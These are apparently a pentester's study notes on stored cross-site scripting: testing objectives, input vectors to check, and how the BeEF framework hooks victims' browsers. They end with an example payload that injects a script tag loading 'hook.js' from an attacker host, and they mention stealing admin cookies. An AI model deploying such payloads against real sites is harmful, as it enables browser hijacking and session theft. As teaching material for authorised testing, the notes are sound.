**Stored XSS**

**Beef is a great way to test for stored XSS as we can see new devices and the hook will execute even if it is blind. See this url** [**https://medium.com/redteam/weaponising-staged-cross-site-scripting-xss-payloads-7b917f605800**](https://medium.com/redteam/weaponising-staged-cross-site-scripting-xss-payloads-7b917f605800) **for more payloads that can trigger beef hook**

**If were testing manually the dev tools have a search function so we can search the html for a specific string. Super useful for manual testing (which as a beginner we should be doing a lot!)**

-Stores XSS happens when data gets stored in the application, meaning the data sent to the application is persistent; if we send in some stored data then perform a GET request we can retrieve the data.

-This type of XSS affects people who visit pages containing an attack vector

-Again, this happens because user input is not filter/ sanitized correctly

- This is more dangerous as it does not require social engineering to exploit people (more impactful then reflected XSS)

- referred to as Second Order XSS

- Payloads are automatically executed in browser (may need onMouseOverEvent; but you can make this execute automatically if the pixel size is the whole screen)

If someone stores malicious code into the web page via stored xss, the malicious code will execute anytime a user visits the vulnerable page. This can be used to execute a **Beef hook** or other malicious attacks.

Stored XSS is much more dangerous in areas where user can have higher privs.

* Meaning if you can get an admin or other important accounts to view tge stored xss this is much more impactful then a regular user. If we can steal admin cooks and possible access the admin page this is a lot more dangerous then a normal user.

**Test Objectives:**

Identify all locations where the application stores input and where that input is reflected client-side (in the response) ex positing a comment and seeing it under a specific post. This could be HTML context or occasionally JavaScript

Once Identified assess these locations and see how they are filtered and if we can bypass the filter. (Filter evasion will be very important in stored XSS)

How to Test – BlackBox

1. Detect input vectors that store input in a database or backend system.
2. Define all user-controlled variables and parameters.
   1. User/ profiles (changing/setting profile details name avatar etc)
   2. Shopping carts
   3. File manger (apps that allow file uploads could reflect filename back into the page really keep an eye out for this one)
   4. Application settings/ preferences
   5. Forum/ message board
   6. Blog / log
   7. SO MANY MORE … ANY VALUE THAT IS STORED SERVER SIDE

Analyzing Input Vectors:

Same as reflected look at the context and craft a payload that is suitable for the context. (see reflected XSS notes for more info on contexts and testing special chars)

Analyze the HTML:

Input can be stored within HTML tags (most common) or even JavaScript

Investigate out of band channels suc has customer support or other thing for blind xss.

* Blind xss is very useful as it can still execute a **beef** hook so we can easily see if it is working.
* Always use BEef for testing for blind super easy to see

ALL DATA MUST BE TESTED BY INSERTING IN USER AREAS AND VIEWING IN ADMIN AREAS (if you have a credential because this is the most impactful)

If we have access to source code and JavaScript files we need to test it and analyze it statically -> especially all locations with stored values. (Get good at JavaScript!)

Try to access backend systems to check how the input is stored and where it is being reflected.

BEef will be a huge help in showing impact for stored xss and verify it is actually executing especially if its blind.

BEef with Stored XSS :

Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [BeEF](https://www.beefproject.com)

A typical BeEF exploitation scenario involves:

* Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)
* Waiting for the application user to view the vulnerable page where the stored input is displayed
* Control the application user’s browser via the BeEF console

The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.

**Example**: BeEF Injection

**aaa@aa.com"><script src=http://attackersite/hook.js></script>**

See the **testing for stored xss** bookmark